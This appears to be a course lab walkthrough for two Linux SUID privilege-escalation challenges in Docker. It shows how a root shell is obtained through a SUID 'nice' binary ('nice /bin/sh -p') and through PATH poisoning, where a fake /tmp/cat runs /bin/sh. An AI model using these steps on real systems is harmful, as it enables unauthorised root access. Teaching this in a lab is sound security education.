Suid Based privesc: Walkthrough
We have 2 challenges around SUID based privesc.
- In the first we have a similar issue to the previous Sudo based vuln.
- In the second we are going to look at how environment variables like the PATH are retained
SUID file based exploit
In this exploit we will see how SUID rights on a program could lead to the system being exploited.
The challenge lives in the Week4/Demos/Suid_Demo_File folder in the course GitHub
Start the Challenge
As usual we start the challenge using docker compose
$ docker-compose up
Building with native build. Learn about native build in Compose here: https://docs.docker.com/go/compose-native-build/
Creating network "suid_demo_file_default" with the default driver
Creating suid_demo_file_ssh_1 ... done
Attaching to suid_demo_file_ssh_1
ssh_1 | ==============================================================
ssh_1 | | |
ssh_1 | | |
ssh_1 | | SSH Service Started: |
ssh_1 | | |
ssh_1 | | Username: cueh |
ssh_1 | | Password: cueh |
ssh_1 | | |
ssh_1 | | IP address For SSH is 192.168.176.2 |
ssh_1 | | |
ssh_1 | | |
ssh_1 | | Connect with: ssh cueh@192.168.176.2 |
ssh_1 | | |
ssh_1 | ==============================================================
Connecting
Connect using SSH to the address given and do our preliminary recon
$ ssh cueh@192.168.176.2
The authenticity of host '192.168.176.2 (192.168.176.2)' can't be established.
ECDSA key fingerprint is SHA256:ZRkVNFCQPSUG1pbyc7qQXrxEY0uaOJ9FnfmpJ9Egjz0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.176.2' (ECDSA) to the list of known hosts.
cueh@192.168.176.2's password:
Linux 2712cb718c76 5.4.95-1-lts #1 SMP Thu, 04 Feb 2021 11:58:09 +0000 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
cueh@2712cb718c76:~$ ls -l
total 0
So nothing interesting in the userdir, can we run anything as with sudo?
cueh@2712cb718c76:~$ sudo -l
-bash: sudo: command not found
cueh@2712cb718c76:~$
No sudo rights either, The next thing to try is looking for suid files, we can use find for this.
cueh@2712cb718c76:~$ find / -perm -4000 2>/dev/null
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/nice
/usr/bin/passwd
/usr/bin/newgrp
/usr/lib/openssh/ssh-keysign
/bin/mount
/bin/umount
/bin/ping
/bin/su
Now I recognise most of these as "standard" SUID files. However, the
nice command wouldn't normally be here.
Looking on GTFO bins we can see that nice can be used to elevate privs, if it has suid rights nice on gtfo bins
Getting a Shell
Again we could do something like use cat to read the flag, but lets drop a root shell.
cueh@2712cb718c76:~$ nice /bin/sh -p
# id
uid=1000(cueh) gid=1000(cueh) euid=0(root) egid=0(root) groups=0(root),1000(cueh)
#
We can now navigate to the root directory and get the flag.
Video
SUID path poisoning based exploit
Our second SUID based vulnerability takes advantage of how suid, unlike sudo, retains the users environment when called. This means we can manipulate environment variables (like the PATH) for the root user.
The docker file is in /Week4_Privec/Demos/Suid_Demo_Path
Connecting to the Service
After starting the service using docker compose we can connect and do our usual recon.
This time we see files in the users homedir.
$ ssh cueh@192.168.192.2
The authenticity of host '192.168.192.2 (192.168.192.2)' can't be established.
ECDSA key fingerprint is SHA256:ZRkVNFCQPSUG1pbyc7qQXrxEY0uaOJ9FnfmpJ9Egjz0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.192.2' (ECDSA) to the list of known hosts.
cueh@192.168.192.2's password:
Linux 986f94f3abc8 5.4.95-1-lts #1 SMP Thu, 04 Feb 2021 11:58:09 +0000 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
cueh@986f94f3abc8:~$ ls -l
total 20
-rwsr-xr-x 1 root root 8744 Feb 8 12:26 runme
-rwxr-xr-x 1 cueh cueh 147 Feb 8 12:26 source.c
-r-------- 1 root root 38 Feb 8 12:26 user.txt
cueh@986f94f3abc8:~$
OK, so we have a file with SUID privileges in the home dir, and its owned by root. We also have the source for the file.
Note
Obviously it wont always be this easy, but we are learning here.
Looking at the source.c we see the following line which gives us our vulnerability
system("cat user.txt");
The developer has used the system() function to call cat. This in its own right isn't a problem. However we use a non absolute path, which is.
Note
I always seem to use cat. Any command line function that is on the PATH would have the same issue. So things like ls, tar etc.
The issue here comes from the way Linux (and windows) look up executable. The PATH provides a list of directories that will be checked for the program, and the first instance will be run.
For example our PATH is
cueh@986f94f3abc8:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
So the program will look for cat in the following directories:
/usr/local/bin/usr/bin/bin
If we had use an absolute path (/bin/cat), then this wouldn't be a problem, as the PATH never comes into play.
So if we can manipulate the path so out version of cat we control is the first one found, we should be able to get a shell
First create an evil version of cat and make it executable
$echo "/bin/sh" > /tmp/cat
$chmod +x /tmp/cat
Now modify the PATH so we look in /tmp first to get out shell
cueh@986f94f3abc8:~$ PATH=/tmp:$PATH ./runme
# id
uid=0(root) gid=1000(cueh) groups=1000(cueh)
#
Video
Task
Easytask
Complete the File based SUID Attack
Easytask
COmplete the Path poisoning based SUID attack